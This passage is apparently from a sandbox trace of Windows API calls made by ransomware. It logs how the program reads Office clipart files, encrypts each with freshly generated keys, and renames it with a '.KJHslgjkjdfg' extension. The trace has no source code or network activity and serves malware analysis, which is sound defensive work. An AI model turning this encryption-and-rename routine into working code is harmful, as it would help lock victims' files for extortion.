lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.716] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.716] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.716] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ef4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ef4, lpOverlapped=0x0) returned 1 [0172.717] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f00, dwBufLen=0x4f00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f00) returned 1 [0172.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.717] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f00, lpOverlapped=0x0) returned 1 [0172.717] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.717] SetEndOfFile (hFile=0x114) returned 1 [0172.720] GetProcessHeap () returned 0x2a0000 [0172.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.720] GetProcessHeap () returned 0x2a0000 [0172.720] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.720] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.kjhslgjkjdfg")) returned 1 [0172.721] CloseHandle (hObject=0x114) returned 1 [0172.721] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1 [0172.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.722] GetProcessHeap () returned 0x2a0000 [0172.722] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.722] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.722] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.727] GetProcessHeap () returned 0x2a0000 [0172.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.727] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.727] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2168, lpOverlapped=0x0) returned 1 [0172.728] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2170, dwBufLen=0x2170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2170) returned 1 [0172.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.728] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2170, lpOverlapped=0x0) returned 1 [0172.728] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.728] SetEndOfFile (hFile=0x114) returned 1 [0172.731] GetProcessHeap () returned 0x2a0000 [0172.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.731] GetProcessHeap () returned 0x2a0000 [0172.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.kjhslgjkjdfg")) returned 1 [0172.732] CloseHandle (hObject=0x114) returned 1 [0172.732] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1 [0172.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.733] GetProcessHeap () returned 0x2a0000 [0172.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.733] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.733] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.770] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.770] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.770] GetProcessHeap () returned 0x2a0000 [0172.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.771] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.771] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.771] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.771] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.771] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.771] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.771] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.771] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.771] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f3c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f3c, lpOverlapped=0x0) returned 1 [0172.780] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f40) returned 1 [0172.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.780] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f40, lpOverlapped=0x0) returned 1 [0172.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.780] SetEndOfFile (hFile=0x114) returned 1 [0172.788] GetProcessHeap () returned 0x2a0000 [0172.788] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.788] GetProcessHeap () returned 0x2a0000 [0172.788] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.kjhslgjkjdfg")) returned 1 [0172.789] CloseHandle (hObject=0x114) returned 1 [0172.789] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1 [0172.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.792] GetProcessHeap () returned 0x2a0000 [0172.792] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.792] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.792] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.792] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.794] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.794] GetProcessHeap () returned 0x2a0000 [0172.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.794] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.794] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.794] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.794] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.794] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.794] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.795] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.795] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.795] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1498, lpOverlapped=0x0) returned 1 [0172.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0) returned 1 [0172.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.796] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14a0, lpOverlapped=0x0) returned 1 [0172.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.796] SetEndOfFile (hFile=0x114) returned 1 [0172.798] GetProcessHeap () returned 0x2a0000 [0172.798] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.798] GetProcessHeap () returned 0x2a0000 [0172.798] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.kjhslgjkjdfg")) returned 1 [0172.799] CloseHandle (hObject=0x114) returned 1 [0172.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1 [0172.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.800] GetProcessHeap () returned 0x2a0000 [0172.800] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.800] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.800] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.800] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.802] GetProcessHeap () returned 0x2a0000 [0172.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.802] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.802] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.803] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.803] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.803] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.803] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16ec, lpOverlapped=0x0) returned 1 [0172.804] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x26c0020*, 